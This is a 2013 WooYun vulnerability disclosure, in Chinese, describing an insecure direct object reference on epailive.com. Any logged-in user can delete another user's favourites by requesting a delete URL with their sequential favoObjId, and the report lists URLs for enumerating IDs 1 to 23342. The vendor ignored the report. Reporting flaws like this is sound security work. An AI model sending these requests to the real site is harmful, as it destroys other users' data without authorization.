漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-023763
漏洞标题:易拍全球删除所有用户收藏的方法
相关厂商:epailive.com
漏洞作者: 小川
提交时间:2013-06-07 11:13
修复时间:2013-06-12 11:13
公开时间:2013-06-12 11:13
漏洞类型:设计缺陷/逻辑错误
危害等级:低
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-06-07: 细节已通知厂商并且等待厂商处理中
2013-06-12: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
其实就是个越权+遍历啦
详细说明:
首先注册两个账户USERA,USERB
首先登录USERA,随便收藏个商品
如下图:
然后我们截获一下,删除收藏的请求
我们看到删除的请求为
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=23342
不要把请求发送过去,记录下这个favoObjId值为23342
刷新下页面,确保没有删除这个收藏,然后USERA可以退出了。
然后USERB登场,在浏览器上敲一下这个请求
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=23342
好他的任务完成了,退出吧。
然后USERA再登场,查看下我的收藏。收藏品没了,大功告成!
以上是证明了可以越权删除他人的收藏,每个用户收藏一个商品favoObjId就会加1.那么好吧,我们遍历一下:
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=1
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=2
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=3
.
.
.
.
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=23342
当然我是孩子,从不淘气......
漏洞证明:
修复方案:
删除的收藏,准是当前用户的收藏品吗?亲?求礼品,求古董
版权声明:转载请注明来源 小川@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2013-06-12 11:13
厂商回复:
最新状态:
暂无